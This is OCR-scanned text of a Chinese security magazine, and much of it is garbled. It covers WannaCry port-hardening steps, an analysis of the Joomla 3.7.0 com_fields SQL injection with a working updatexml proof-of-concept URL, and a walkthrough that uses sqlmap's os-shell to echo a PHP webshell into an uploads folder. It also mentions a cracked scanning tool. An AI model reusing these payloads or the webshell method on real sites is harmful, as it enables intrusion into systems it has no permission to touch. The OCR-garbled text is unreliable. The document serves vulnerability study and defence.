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122.6.6.1:80
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SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
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SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
SYN_SENT
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[ © LsAProviders | & Network Providers | | B Sidebar Gadge
| O everything | #iogon | o Explorer | @ mntemetExplorer | (%) ScheduledTasks | % Services @ privers | [0 Code«sj ]j BootExecute | [ Image Hijacks | (%) Appinit | (%4
Autorun Entry Description Publisher Image Path Timestamp VirusTotal

[¥] 2] HomeGroupListener AT ENERSMATEER.. Microsoft Comporation c:\windows\system32\listsve dil 2010/11/20 20:00
] HomeGroupProvider HITEREEAMERNMEIMERX..  Microsoft Comporation c:\windows \system32\provsvc.dll 2010/11/20 20:05
idsve e BRMFFOFMEREE . B, Mirosoft Comporation c:\windows\microsoft.net\framework... 2014/6/26 14:50
[¥] @7 ighCUIService2.0.0.0 Service for Intel(R) HD Graphics Cont... Intel Corporation c:\windows'\system32\igfxcuiservice.... 2016/3/10 13:29
] (%) IKEEXT IKEEXT BRS4EE Intemet F55H3T. Microsoft Comporation c:\windows'\system32\ikeext dll 2013/10/12 10:01
[¥] (577 ImeDictUpdateService  Microsoft Office IME 2010 Microsoft Corporation c:\program fles\common files\micros... 2010/10/20 21:24
[¥] [@] IPBusEnum PrP-X 4 ES R ARE BIBHEINR... Microsoft Comoration c\windows\system32\pbusenum dl  2009/7/14 9:06
[¥] @) iphipsve 18 IPV6 &R (B4« ISATAP... Microsoft Comoration ci\windows\system32\iphlpsve dl 2012/10/4 0:41
[¥] 57 Keylso CNG TE4BIREE RS BT LA M. Microsoft Comoration c:\windows\system32\sass exe 2016/5/12 2251
¥ [a) kimRm RSB ELMBHIBRMSD. . Microsoft Comoration ci\windows\system32\mschckm i 2009/7/14 3:08
[¥] | LanmanServer FHHHEN RIS .. Microsoft Corporation c:\windows'\system32\srvsve.dil 2010/11/20 20:08
[V @) LanmanWorkstation 5P SMB R H4HPE A%, Microsoft Comoration ciwindows\system32\wkssvedl  2010/11/20 2008
| (@) ltdsve BRERIEALST, T PCAMiRELR... Microsoft Comporation c:\windows \system32\litdsve dil 2009/7/14 9:06
@ (%] Imhosts 42{ TCP/IP (NetBT) AR55 £AY Net... Microsoft Corporation c:\windows\system32\imhsvc.dil 2009/7/14 9:06
] \Q Microsoft SharePoint W... Microsoft SharePoint Workspace Microsoft Corporation c:\program files\microsoft office’offic... 2010/12/28 7:42
] %] MMCSS ETRSTEMMESNARB.. Microsoft Comporation c:\windows'\system32\mmcss dil 2009/7/14 9:06
@ @] MpsSve Windows B @@ pE LER$F4R...  Microsoft Comporation c:\windows\system32\mpssvc.dil 2010/11/20 20:01
] RS 28R iﬁgﬁf\’y'lj s ... Microsoft Corporation c:\windows\system32\msdtc exe 2009/7/14 7:44
% h: . Microsoft Corporation c:\windows\system32\iscsiexe dil 2003/7/14 9:07

T

] O AR S RGERRI .. Microsoft Comoration ci\windows\system32\lsass exe 2016/5/12 2251
[¥] [@] Netman SR TR S ST . Microsoft Comoration c\windows\system32\netmandl  2008/7/14 9:08
[¥] @] netprofm DS EH DA, WREE..  Microsoft Comoration ci\windows\system32\netprofm dl  2009/7/14 9:08
¥ [@] NaSve WA UEAEBIEE, .. Microsoft Comoration c:\windows \system32\nlasve di 2014/12/6 11:47
| |%|nsi HARSEAFEEF FRATER]..  Microsoft Comporation c:\windows\system32\nsisvc.dll 2009/7/14 9:09
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s B8 |mz R

TR : e
o SRR
pREmaED | sEumem |

BEAE:
RESTENT AR
FAHEE e S R S

IR s
Ok PRHRIE RS G J

ARSI AN

O TETRARATH « S2i+kaRipzhs

© ST 14\ iFsAnaEzhad
O rRfE s 22T
AR TINERELRR NIFS
O 58 BT 1E (RPREZ ST 3) i

EEABIAE @) |

e | omE | mEw |

K 5 U R B R IEDI A

2. 45 E
RS E RS, MBS AR dES “BEESEREE” , NHEh LA
mssecsvc.exe fll tasksche.exe L1, % mssecsvc.exe 1 tasksche.exe, A 8RR RE “45W
BERER” KRR P A, XAt IR B A3, SiRahEE.
3 MEREE
F| windows H ¥ =N SCHF L BRI RIHET, — Moo R4 KRB LUBSHT BRI, R H )
b, WRHRRERE, XA n R EIMERAER . BRNIX =AM L, Arlgesls
ASCEINE, CEAWREERE, EEME, MR A R S
4. FRIR B M 2%
i netstat —an fi7 & PR AR WEGERETE DL, X ANMERAE DL, —VIREIER .
A LUE %2 451 ML R 3% 4 T H. Autoruns LU ProcessExplorer, i i 6 £ %I 5% 54
FPEGYR R ENLT B TIE R R BT Bk

https://download.sysinternals.com /files/Autoruns.zip

https://dow nload.sysinternals.com /files/ProcessExplorer.zip

HE, ASURRIERA R R fa W R PATIE AR RGEAF BT I | G SAE 52 1 B
/B, RIS SO A O FR R CRIEA & H 9 81 . Wana Decryptor2.0) ,
XRPRGOEPIERSRT .

2.1.4 ZAhnE

1.5¢ ] 445 ¥

(1) FILxM
TEA PR TT M “regedit” , HKIKATIHF “HKEY_LOCAL_MACHINE” - “System” -
“Controlset” “Services” - “NetBT” - “Parameters” , fFH IS “HiE” — “DWORD

f” , ¥ DWORD {H 4y “SMBDeviceEnabled” , Il EIEE N “07 , WK 6
s, BRI & — EANEE SMBDeviceEnabled B4 T ! BN BA KR!
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ZeE YRS antian365-201705-28 %K 365 i 53T i & i«

=] Parameters ;‘ M | e | 348
#- |, Interfaces ab] @A) REG_SZ EEFRIEE)
Security 4| BeastNaneQueryCount REG_DWORD 0x00000003 (3)
& etlogon $%8|BeastQueryTimeout REG_DHORD 0x000002ee (750)
= %tmm %8 CacheTimeout REG_DWORD 0x00092720 (500000)
NetMsmghctivator 93| Enabl e LHHDSTS REG_D#ORD 0x00000001 (1)
[ 1) NetPipeActivator 5| NameServerPort REG_DHORD 0x00000089 (137)
G-y netprofm 24| Nam eSrvQueryCount REG_D#ORD 0x00000003 (3)
geg“’;}“z;:‘"‘_’ 54| NameSrvQueryTineout REG_IWORD 0x00000bb8 (3000)
e e
v REG_DWORD 0x0036ee80 (3600000)
o REG_DWORD 0x00000001 (1)
S0 ot REG_DWORD 0x00000000 ()
Wpfs REG_SZ \Dewicel
et 24 UseNewSmb REG_DWORD 0x00000001 (1)
2} nsiproxy

Kl 6 MR IC A 445 v 1
BEAMIERE R, B “Microsoft WL% () LA AT EDHLIL =" B A2k, K 7
i

it E#t x|

R gz | I
EARAH{ER -

I 1? Realtek PCIe GBE Family Controller

HEEFERTIIRE ©):

vl f’_:Microsoft PAE T Fin A
g‘ﬂdware Bridge Protocol
B S

ZHFATE S

<. Internet HMERAS 4 (TCP/IPv4)

ﬁ o EROP 4T HLY=TANM A4CR T i ARSLIO T l L‘_v.'
.. | mgw | EBre |
ik

g:}égiﬂﬁ'ﬁﬂlﬁﬁ Microsoft PJeEifsialiait Bl ERY
= e

we | mE |

Bl 7 U IR 2 ST A DL AT EpATLIL =
(2) AFHSRAE IR RIAR AT O, 7E4 T FUBIA H b -
http://www.secboot.com/445.zip, FHIAARIL T :
echo "W FH $AE 22l VE & 97 1 iR AR
echo "R pc AR T xp AR5 28A KT windows2003, 4 BEASCHE, DL HE G
BRiEAT. "

netsh firewall set opmode enable

netsh advfirewall firewall add rule name="deny445" dir=in protocol=tcp localport=445
action=block
netsh firewall set portopening protocol=TCP port=445 mode=disable name=deny445
2. 2% 135 ¥ [
EIBAT I “decomenfg” , IREFTIF “HEMRS” - “iHEHL” - )@ - “IRAHNE
PE” - “BROINEME” - “FEdTHENL EE Al coM” LiuEREN A . ARG RS “BRIAH
W IR, e TR TerP” , i BB RE BB, mE 8 iR,
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™ =lolx|
LIRS

20

5 R{E »

I 2

\%&@ﬁ! HHFRE —

M-S T7ROAEEROEE .

K i ]

Kl 8 S 135 ity I
3.5% ] 139 ¥ [

139 ity 1 /& N “NetBIOS Session Service” #& it 17, EZH T4t Windows SCHEFTHTEINLE
LS Unix ) Samba fiR%s. Haly “RZS7 - CARMUENE” , EHIN CARHER R
HHEHEF, EFE “Internet BIRAS 4 (TCP/IPVA) 7 - “J@1E” , XGHATHF “m2% TCP/IP ¥
BH” - “WINS” , £ “NetBIOS W&~ ikt “ZH TCP/IP ) NetBIOS” , & 9 Fiim.

B s wms | [k
WINS M, $RAEFRHER (1)
£
3|

o | EEeL | meo |

INREA LSTS T, EREATHERMA /I fhEE.

vV BHE LmDsTS & S LHHDSTS O0). . .

NetBIOS %5

C ERAC):
THCP HetBIOS 8% o 75 IP
%% i) %%g%gﬁi uets}’ééﬁaﬁﬂﬁ%% d’i‘CPII%ﬂ

_mE |
9 4] 139 ¥ [

4. B v R B PR
PUG AR & & 135, 139, 445 4K
netstat -an | find "445"
netstat -an | find "139"
netstat -an | find "135"
5.9 5 Bl K Jik
EVEERNEE dib]vipe: 8
6.5 H RGANT
it 360 e P L RG], A RRE W RGEENETERRSRAT .

2.1.5 &R

LRI S A ZFTIT
A LA, FEMR AR LA ST antorun.inf SO (AR 40 B B 2 4
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3. LA
45T TTBI5 K Kk
5.ATScanner (WannaCry)
http://www.antiy.com/response /wannacry/ATScanner.zip
6.0 R k4 T B (WannaCry)
http://www.antiy.com/response /wannacry/Vaccine_for_wannacry.zip
A 9% WannaCrypt B2 B B — 25 7047, 36 RIE AN TR 04T, SN %K 365
BB (513833068) HEATIZH AR MR .

2.2Joomla!3.7.0 Core com_fields 044 SQL yE A JEIH

by antian365.com L.sherlock

Joomla!l @ —ERKMLMANEEH RS, JoomlalZ2ffH PHP 1EF I E
MySQL #5045  Fir T K A4 248, 7] LAfE Linux.  Windows. MacOSX %5 % F
AFEETF 4 E#AT. HHET/ZH Open Source Matters (W& I EE) XN FF IR
A RHATIE K G >CFF, EXANHARI R B AR 51, N 29F 150
N, BETIFRE. dbE . REERE. XRS5 E, UNEE 2 TS5
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hii

'~ ©

2.2.1 JE A

R4 FR: Joomla!3.7.0 Core com_fields ZH14 SQL v NI

RS2 SQL IENIIR

RREH: fad

FAFN: ©fE

FIFAXERE . i Hp

RRMR : AP B IAE3.7.0 H 5 AN — DA com_fields”, XAHAFATATA
HETLAVT IR, i S ME. BT XHE SRR IEA S 2B sql A, sqliEA
G B R RIS B

WHMBE: ¥ SQLIEANETREFHLL TG R

IR E 5e

2 Bl R

3% L EE T

4 50808 178 P IR 55 2 A ek A2 AR Al AL

2.2.2 IRTARAEE
MBERAEE T oW ERDN, R FHEEICH XA & E R RRERD A
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Nibrariesflegacy/modelfist php3Z

/administrator/componentsicom_fi
phpsziseR

payload:
listlfullordering}=updatexmi(1,conc

&=

Sthis->setState(list". Sname,
alue) i3 Zlistfullord

BiREEREH

at(0x3e user().0) P: FEZE
ering

2.2.3 JNIAT

MECHE AL T 73 A R 33X, 9L 3% i POC 2
/index.php?option=com_fields&view=fields&layout=modal&list[fullorder
ing]=updatexml(1,concat(@x3e,user()),0) HM POC LA LLE H
list[fullordering]iX /M S HI{E & 24 L) MYSQL #4515 ], AIhEH T B0 2 H
FUEE, BORINE 1 Fs:

‘ﬁay> . Stetorgen . | HiFsaLEg
ZRIRE

@A

€)® 192.168.227.135/Joomla_3.7.0-Stable-Full_Package/index.phpoption=com_ficldséview=ficldsalayout=modalalistifullorderingl=updatexml(L.concat(0x3e,user0)0) '@ B8 c s L=
INT v| = & SQL- XSS Encryption Encoding- Other
@ Load URL  hitp://102.168.227.135/Joomla_5.7.0-Stable-Full P i ption=com | 1 t(0x3e,user0}0)
% splituRL
) Execute
[] Enable Post data  [] Enable Referrer
test

INEP=¢

The requested page can't be found.

has an out.of-date listing for this site
access to this page

If dficulties persist, please contact the System Administrator of this

(B2 xPATH syntax errar- “>root@Iocalhost

© 2017 test

Go to the Home Page

@ Home Page

site and report the error below.

Back to Top

1SQL A AR B 15 2
B GERER AR BRI, AR Z AT A SR R

C:\phpStudy32\WWW\Joomla_3.7.0-Stable-Full_Package\components\com_fiel

ds\controller.php, public function __construct($config = array()) HiEsREUEAN
[¥) view. layout HE AT Z #1145 base_path W{H, W1l 2 Pros.

B 21 T1/3t 97 W
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class FieldsController extends IControllerlegacy
{

Gparem o
@sin
1 public fametion _construct (beonfig = array() Scenfip (base path = T [phpStudy32 M0\ Joonla 3. 7. 0-Stabl
t
® $this=>input = JFactory: : getApplication()=>input;

JPATH_.

Seonfigl base_path’ ] = JPATH_CONPONENT_ADNIFISTRATOR;

\\\

“C:\phpStudy32\WWWhJoomla_3.7.0-Stable-Full_Packag: ini  fields™

K 2 2 e IGR R

parent::__construct($config); XAMHE TR IIE] 3 R LS EEATIME, TR
E2 5 HBCER 3 Frs. @O IX IS E I -3 T 7007 !

parent . construct ($config);

—+=| == Variables

+ | & = $this = {FieldsController} [16]
views = null
basePath = null
default_view = null
doTask = null

|§| message = null
messageType = null
methods = null
name = null
model_prefix = null
paths = null
redirect = null
task = null
taskMap = null
= input = JInput} [4]

= R

& 3 $2 2 KM
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27 @l public function _comstruct (feonfig = array()) feonfie
{
= @ $this-input = JFactory: ! getApplication()-Vinput

{base_path => “C. \phpStudy32 \WWW\JoonLs_3. 7. 0-Stsble-Full_Packsge |adninistrator/conponents/con_£ields™) [1]

| = variables

4 | & ¥ I Sthis = (FieldsController} [16]

I -
views = null
basePath = "C:\phpStudy32\WWwW\Joomla_3.7.0-Stable-Full_Packag ini: \ fields™
defaul_view = “fields”
& [f doTask = null
& essage = null

e = “message”

=y [

“FieldsModel”
rray) [1]

K 4 2E R

XA B A% 0 3 77 A list[fullordering]iX /NS i #E4T a3 ) L 1 !
libraries/legacy/model/listphp XA~ {4+ getUserStateFromRequest 775, &
¥ url HF 1 list[fullordering| {H 32 BUEATIRAE, WKl 5

JOTIE,3./.4-3TADIE FUN_FECRAGE | - IOTANSS | 1SGACY | MOGE! | g SELPTP
F Project +
Joomla_3.7.0-Stable-Full_Package

v B administrator

© ok | @1 i listphy

- - - = listphp

ecmaphp | 4 indexphp - |y controllerphp | i, com fields\fieldzphp |, dispatcherphp | i models\fields.pl

forms
fieid php
= fioids.php
groupphp
groups.php
vvvvv
g 88
® | Debugger | [ElComsole +* 2z ¥ M N 2 ™ e e
B rrames
&
®
g
L3
3

jcy.phpd22, Niewlegacy- > &
E AL fsplay) )
% | legacy.php671, » = /
5 |8 legacyphpi709, p erdeing = “updatexmi concat@x3e user0).0)
8 fields php:1d, re
tepersexecuteC

) site.php:191, JApp

Kl 5
23X T fullordering {E13 18 5L Wr, %A MUAE R B 44 B0, F27 Rt N
IR s 2 B 566 1T $this->setState('list.' . $name,
$value) ; JTIALRAFIRATI SQL Y EAARE AL HEN list.fullordering CRAF AT 5 1T
FEurE 6, 7 s
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Sralue = SamputFiltsr-Seloan Gralue, 0% int' )
$linit = fvalus; $1.
brosk:

com_sjax
com_sssociatons
com_banners

are aelact
vplodediadus = seplede( delimiter: *,*, Swalua):

opulatestate)
elds.php:76, FeidsiodelFieids - »populateState)
legacy.php:434, MModeltegacy-»getState] minForm"
legacy.php:d22, MViewdegacy->get)

view Ml php:T2, Frelds ViewFields-» display()

leqacy. phpesTL, Koontroleriegacy- = displap])
legacy.php:708, KCantralleriegacy-»execute])
Felds.php:14, requine ance)

belper,php:304, JComponentHieloerasecuteComponent])
belper php:365, JCompansntiisioer:renderComponent)
site.phpi191, MpicationSite->dispatch)

site phpi230, MppicationSite-> dofvesute])

erms.php:265, MppicationCms-» executel)

indexphp:49, (main)

[:1=3

W] listdirection = "ase™ g @

K6

i ldFIES

filterFormMame = null
htmlFormMame = "adminForm”
i S filterBlacklist = {array} [0]
» iE listBlacklist = {array} [1]
_ state set = null
b = _db = {JDatabaseDriverMysqgl} [25]
name = "fields”
option = “"com_fields”
state = {JObject} [5]

15 _errors = {array} [0]

task = null

list.ordering = "a.ordering”

list.direction = "asc”

listfullordering = "updatexml(1,concat(0x3e,user(),0)"

[B] eveant rlean rarhe = "AnCanteantClaanCarha”

K7

1. B EIATN payload 773k list.fullordering 1, B4 AIMTSRELNE ? B FEHE N f o<t
[1355 43 ./administrator/components/com_fields/models/fields.php 3C{fH
$listOrdering = $this->getState('list.fullordering’,
'a.ordering");getState J7iEIRIL 1 Z I ORAFN) list.fullordering FI{E, 4% 8, Jfit
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1T SQL iEA)IPEHE, escape J7iEF AT payload i 44

$language = (array) $language;
foreach (flanguage as $key =7 §1)
{

$language [$key] = $db->quote (31)
1

Saquery—whers ( conditions: * s language in ( . implode( glus *,”, $langmage) . *)'): Slempmsze mull
}

// Add the lis

property: ‘list. fullordering’, default ' a. ordering’): §1:

$listOrdering
$orderDirn

i€ (empty (FlistOrdering))

{
$listOrdering = $this—>state-Jget ( property: ‘list. oxrdering’, default *a ordering’);
SorderDirn = $this->state->get ( property: ‘list.direction’, default *DESC'): state JUbject

scape ($listOrdering) . * escape (ForderDirn)):

return query;

= variables

& > = $this = {FieldsModelFields) [15]
$access = null
= $app = {JApplicationsSite} [26]

=3
i |
]
(i)
|

$categories = null
Scontext = “com_content.article”
= $db = DatabaseDriverMysql} [25]

& Sgroupld = null

- $groups = "1, 15"
SincludeGroupState = true
Slanguage = null

SlistOrdering = “"updatexml (1 concat(Ox3e,user(),0)"
SorderDirn = **

= Squery = JDatabaseQueryMysql} [25]

$search = null

$state = null

= $this = (FieldsModelFields) [15]

wponent()
oonent()

K8

3.4 a4, AT SQL 1EA), PHEMIER TSEAE AWK 9 Fix, R 9 rhiiEe
BB E R CAMEE, A payload CLAERINPAT T -
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@since 1.6

72 O public function getltems ()
t
/7 Get a starage ke

$store = $this—rgetStoreld(): 4

SELECT =.3d, & title, aname, s checked out, o checked out_time, .mote, a stats, s sccess, o created tims, = ereated user_id, o ordsring a lengusge,

o Eieldparams, s paranz, s type, s default valus, s context, s group_id, a.lsbel, a description, a required 1 title AS language_title, L imsgs AS

! Langnage_image, uc. nams AS aditor,ag title AS access level, us name AS suthor_name, g title AS group_titls, g sccess as group_aceass, g state AS group_state
FROW x}5nr_fields AS o

7/ Ty te nal s LEFT JOIN e Languages A5 1 ON 1 lang code = = language
if (isset ($this—reache[$store])) LEFT JOIN nhSor_users AS we ON ue. id=a. checked_out
{ LEFT JOIN sbor_vierlevels &S ag OF ag id = a. aceess
return fithis-cache[§store] LEFT JOIN nhSnr_users AS wa O ua.id = a created mser_id
) LEFT JOIN abur_€ields_groups 45 ¢ OF gid = » growp_id
WHERE . context = 'con_content. srticls’ AD s sceess I (1,1,5) AID (s gvoup_id = 0 OR g.sccess IN (1,1,5)) AND s state I (0, 1) AID (s growp_id = 0 OR
try g state I @, 1))

€ ORDER BT wpdstesnl (1, concat 0xde, user 0)), 0)

this—>cache [fstore] = §this—_getList Gthis=>_ge EETE

cateh (RuntimeException §o) Je
{
3this=JsatError (§o-gethiessage ()

)

return $thic-veache [$store]

= Variables

K9

i message = "XPATH syntax error: ‘>root@localhost

[5 *Exception*string = ** \

105

CAphpStudy32\WWWhJoomla_37.0-Stable-Full_Package\libraries\joom i Lphp"
&) 1 line = 351

18 *Exceptiontrace = (array) [15]

B ZARAT A S B [l v e, Wl 10 Bros

public function display(ftpl = mmll) Jipl
{

$this—>state = $this-rget ( prope State’'); state

F$this-items = $this-rget ( prope Items'): :tems
$this->pagination = $this—>get ( property: ’'Pagination');
$this—>filterForm = $this—>get ( property: 'FilterForm');

$this—>astiveFilters = $this—>get ( property ’AetiveFilters’

/f Check for

if (count (Berrors = $this—>get ( property. ' Errors’)))
{

syntax

mplods(

¥
if ;i isEnabled( type: " system’, plugin: ' fields'))
{
$link = JRoute:_( Url ’index. php?option=com_pluginshtask=plugin. editdextension_id=" . FisldsMelper:: getFisldsPIuginIdi}):
JFactory: : getdpplication()-enqueusMessags (TText: : sprint£(' CON_FIELDS_STSTEM_PLUGIN_NOT_ENABLED’, $link), type ’warning );
¥

{

= = Variables

¥ | & v B Serrors = {array} [1]

K1

$tpl = null

this = (FieldsViewFields} [21]
,_COOKIE = {array} [4]

_GET = {array} [4]
 REQUEST = {array} [9]

_ SERVER = {array} [40]
GLOBALS = {array} [19]

-]

000 000 00 D00 000
® o o e A

0

SERAIRTAM R AE S 1, N I TR AN T 24T 20
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2.2.4 XNT 43 Hr

16 HMEEEE administrator/components/com_fields/models/Fields.php

1

)6

-3

View

$listOrdering = $this->»getState('list.fullordering', 'a.ordering');

%orderDirn ="
%listOrdering = %$this->state-»get('list.ordering', 'a.ordering');
$orderDirn = $this->state->get('list.direction’, 'DESC');

if (empty(%listOrdering))

i
3listOrdering
$orderDirn

]

fquery->order($db-rescape($listOrdering) . ' '

return Squery;

Sthis->state->get('list.ordering', 'a.ordering');

$this->state->get('list.direction', 'DESC');

. &db-rescape($orderDirn));

A P ANSREAH T #3119 list.fullordering {8 1, BSCNERHET list.ordering (I{E, HTAIX

~ POC I H

/index.php?option=com_fields&view=fields&layout=modal&list[order
ing]=updatexml(1, concat(@x3e,user()),0) T ATHE? W FEFITHI =,

PGS

€ ) © 192.168.227.135/Joomla_3.7.1-Stable-Full Package/index.php?option=com_fieldsfwview="fields&layout=modal&listlordering]=updatexml(1 concat(0x3e,user(}),0)

INT v| = & sqL- xss
@ Load URL

4 split URL

v} Execute

Encryption- Encoding- Other-

[] Enable Post data  [] Enable Referrer

9

httpi//192.168.227.135/Joomla_3.7.1-Stable-Full_Packagefindex.php?option=com_fields&view=fields&layout=modal &listlordering]=updatexml(1, concat{0x3e,user(),0)

The most recent request was denied because it contained an invalid security token. Please refresh the page and try again.

JR R AEFE list[ordering PIRAS I,  ordering HIS W2 485 2 6k FE AT T 1 44 B 7
N, WRAEATE filter_fields 214174, VA list.ordering 2 #¢IK{E N a.ordering, Tl A &2
HIFRA T payload, 1 F EFR
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——
+
{
$this—>setState ( property: 'list. ordering’, $ordering)
$this—rsetState ( property "list. dir ', $direction):
stion
ories }
aller break:
tcher case 'ordering’
¥ if (lin_array(§value, $this—>Eilter_fields)) filter Fiolds [31]
N
b
) breal,
Imin.ph
mm: P ase ' direction’
PP if (lin_array(strtoupper (bvalus), array( ASC', 'DESC’, '*)))
‘m.php 1
3acy.php. 63 $ualue = Jdirection;

mle D= (¥ M N A% e [E|m

ﬁ-| = Variables

3 |%| v E $this = (FieldsModelFields) [15]

com fields fields"
s = {array) [31]

FeldsModelFields-»populateStste()

iiti &

72, FieldsViewrelds-»display()
L, JControlleriegacy->displayp) (&)
3, SControllerlegacy-»execute()
require_oncef)

1, JComponenttie|per=executeComponent()
3, JCompeneritieloerirenderComponentl)

Apy atch()
Execute() [ 8 = "state”
> executel) [ 9 = "astate”
8] 10 = "access”

[ 11 = "a.access™

[ 12 = "access level”
] 13 = “language”

[ 14 = "alanguage”
] 15 = “ordering”

] 16 = "a.ordering”

[ 17 = “checked_out”
5510 — % chackad aus

= state = {JObject} [3]
i3 errors = {array} [0]

=

task = null

list.ordering = "a.ordering”
list.direction = "asc”
list.fullordering = "a.ordering asc”

event_clean_cache = "onContentCleanCache”

1= o
:5 _errors = {array} [0]

1T an - o —

2.2.5 B4

AN BT list[fullordering] Z UM 2 vl 4%, Ja i A CHS 3% A #1474 R 98 5 31 saL
ERIPHEIE K order by BIVEN, 1BE T ZRPATIEFIREL list.ordering {HFEAT T H 4 5
UE, TEAPAEIRTS B ks B ARS8 T, B ATEPAT IEA) 2 ATEUE B SR A
£ =3 Bug G e i T .

2.2.6 %

https://blog.sucuri.net/201 7005/sql-injection-vulnerability-joomla-3-7.html
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https://github.com/joomla/joomla-cms
2.3 )\ mysql #E A F| getshell

antian365 by eth10
sQL ENmhE —FOB I RN (ATRUR R, ATRUR get 13K,
AT LU POST i 3R&E) MiSc sQLiff), FHAEIEZIE A7E S0 A
RUAPAT, INMHEATBOE HOR o 32 S5 R A xS
K BV B U 2 S A Y RT AR S AT PR R A AT i
B, NI BN HAE AR %W . X R T SR PR i — A

mysql YEANIRIA, 81T os-shell 11T echo 2 $HX webshell 150 i
e, K45 X EEFERH CIGE T H O, "k

AR AR N R RE 1 !
AKBLEHEE 5 HSHARI RS H, KA, ERESH
AT EAE AR, MG EA B RET sQLIEAKS —AJi £

A, BRARAEFKS, L AU PNUE £ 2 =2 ¢

231 REENMSEIRI

LHEFTAER XM a0uS=RT , R Firefox B server-spy SRENZIER(ER , iZzMutERLEAE
= Nginx 1.4.4 , BIA380S PHP 5.3.29 , #NE 1 FR7R. server-spy BZ{ERIBEXEHEA ML :

https://github.com/100apps/ServerSpy.
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T A ¥ A B2

HTTE/1.1 200 oK
|=|=~'":h'r' nginzsl 4 4 |
date: Thu, 25 May 2017 08:55:42 GMT

content—type: text/html

transfer-encoding: chunked
connection: kesp—alive
vary: Accept-Encoding
x-powered-by: PHP/H. 3.29

content—encoding: EZip

1 (& server-spy SREVPIEEAER

2.32 REUMER KT

B PR Rl FESTE R TR RS | AR ping MISSIHRIREN TTL (B3 , #I5HIRR

ZEHE Unix (linux) , tNE 2 FER.

2 SREVRERFIH

iR -

(1) TTL2 Time To Live BIES , iZFEIEE IP BIEHRREFZ R AR BT R AR

il

(2) TTL 21Pv4 @kA9—4 8 bit FFER. TTL (EAGEMRGIS :
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters HfH
A DefaultTTL ) DWORD (& , HEUEREEAR TTL{ET , HBAIRILMEN , (ERGEXT IR
255, Windows RZFiRBRERA LY.

(3) TTL BHAXENIRER | FLLEIREARERTE IP BEAME EXFELILER. 4% IP

030 /3L 97 T BEAMES: http://www. antian365. com HEH: &8 28 H HT40E:
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HiRER , ERIEMEEDIE TTL Fdv 1,65 PING BEEREIA ICMP R3B! ,—1N ICMP
iBKEIE (ICMP Echo Request ) , =3 ICMP EI2RE (ICMP Echo Reply ) , TTL FER(H
RILARSENERA IR R ER G 3EBY.,

(4) UNIX R3¢ UNIX #ERS ICMP EIENE/ TTL FER(EH 255,
Windows2003Server, Windows 2008 Server B TTLEGA{EF 64,

Compaq Tru64 5.0 ICMP EIERER) TTL FER{EHR 64

X Windows NT/2K i#{ExX % ICMP BIERZRY TTL FER(ES 128

A% Windows 95 IMERS ICMP EIEMNER TTL FER(EHR 32

(BRLEER TR :

LINUX Kernel 2.3.x & 2.4.x ICMP EIR2RZH TTL FER{EH 64

FreeBSD 4.1, 4.0, 3.4;Sun Solaris 2.5.1, 2.6, 2.7, 2.8;0penBSD 2.6, 2.7,NetBSD,

HP UX 10.20, ICMP EIRMNE#H) TTL FER{EA 255

Windows 95/98/98SE/Windows ME , ICMP EIRREfY TTL SERIEH 32

Windows NT4 WRKS ,Windows NT4 Server Windows 2000 ,ICMP EIERZH#) TTL F

ER{EJ9 128,

2.3 3FREUENR

Ehitma— N ARNER , FRAGERIREESRETER | FREBNERTIER
safe3wvs , IFHRIMNE SQLEAN , Bxss , BEAEE , 1B 3 Fix , BFFRRXEEZRiHiA mysql

iEN . EUbEfET !

#0031 /4L 97 T B AMEE: http://www. antian365. com HERH: & H 28 H HT44GE: &
7k



(22K 365 “AHIFL) ——

G RZAEEAMAE LR QQ #: 513833068
F:EHT: antian365-201705-28 22K 365 fii TACHL LA http:/liwww jianshu.com/c/ad835367b9e3

#% Safe3 WebEilRmES - WRv10.1 Crack By Lkou[LCG] Http://www.52pojie.cn

Fi= Ras PEm
@ [ — |l [ S
—iEER FRERER HTTF S FE

[@|Tavascript BT [PlUrl85Em  [P]POSTREAT [#]saLiE R, 1S5k [#]¥one [ — |:|
=% EEOT PLERA RIS | |[Dbsio

® nims: | ||| DEERE DHERA | i Prossvard: [ ]
e | P Sbemsin [
BT

la i A 5

W ERET (AHEE ST
e BEEE L _

3 &M SQLIEAR

2.34sqlmap H1TIEIE

BIEMA sqlmap EA TR , FHiZ SQL IINFREFEN . & 4 Fin , HEHE

FE2 mysql > 5.0.11.

4sqlmap FREEGEREER

2.350s-shell ZF&HSHIT

FRAZBiRiAHY IR BFEIEHNIT—os-shell , MNE 5 R . ARIBE IRMERHAR 64 (/Y ,

BEl79iE 32 (ARREHITERS !

2032 T/ 97 T E MG http://www. antian365. com
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 management system architecture?

" already exists, do you want to overwrite it? [v/N]

ec’ already exists, do vou want to overwrite it? [vw/N]

5 SREUR(ERGAHE

2.3.6 FKBUMER(ER

BigHT whomai &< , TIINBEIARE mysql , WE 6 Fixs , BR#{T/sbin/ifconfig &

& ifconfig S $IAANIBIER Mtttk 172.16.153.118,

os-shell’ whoami
do you want to retrieve the command standard output? [T/n/al

command standard output:

6 SREVIBXIER

237 SHASER

BRBIRNHISEIRS BR | MERSKSZEMEXNER  SERETHMISREER

R uploads , tNE 7 Fr7R.
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HyperText Transfer Protocol
jpg Image

R | o 2 d s e——

2394800 =T

%Q
301 * 210 pixels

2017/5/25
2017/5/25

Blie
7 RNERER
SINEE os-shell , BAiIEA pwd EEFSAIER | ARET Is ME—FERZFREE , &

E5E uploads Y , WIE 8 Firxs , MBS —MRIE | MEBIEXFRELEARS , BEAEFRTLL

vl
- to retrieve the command standard output? [T/nfal

SEEEFER

238 B5—aEARS

BFZRITE linux MERIEHE . (EF echo SRIGNEHEEI(HPSEIZE ping , FRMEEIER
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EAEDZHES A\—DEZISHIE ? B uploads BRTEZRE | TRERECHRAKRE
T TALEE , VFER—M echo BHERIREINT , ZRBABRSAXHP , T—1 8515kt

FIREBTRX , B\' #2860, —BXY , RBIEEFERSISHEHAL , BEFSANRINT | XX

ns-shell: IE ' D D Wicle. php
a

do you w to retrieve the command standard output? [T/n/

fcommand standard output: '1.'{ :-hp Mewal l 3 POST[12:

8 B\ webshell
2.3.9 % )iEE

B EAERT , INE  (BRARPRE www , BURIESHE mysql iRX , 40E 9 , B 10 FiR.

.
= - A

| BE (1), i) £ iz

|
|
aontant
9 FREY webshell
10 EESRIAR
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2.3.10 KA LA REEFRMEIR

£ www BFT , (B 11 FR , AgE(EA ifconfig , IMBIERATAILA@EE 2 sbin BR T , HiE

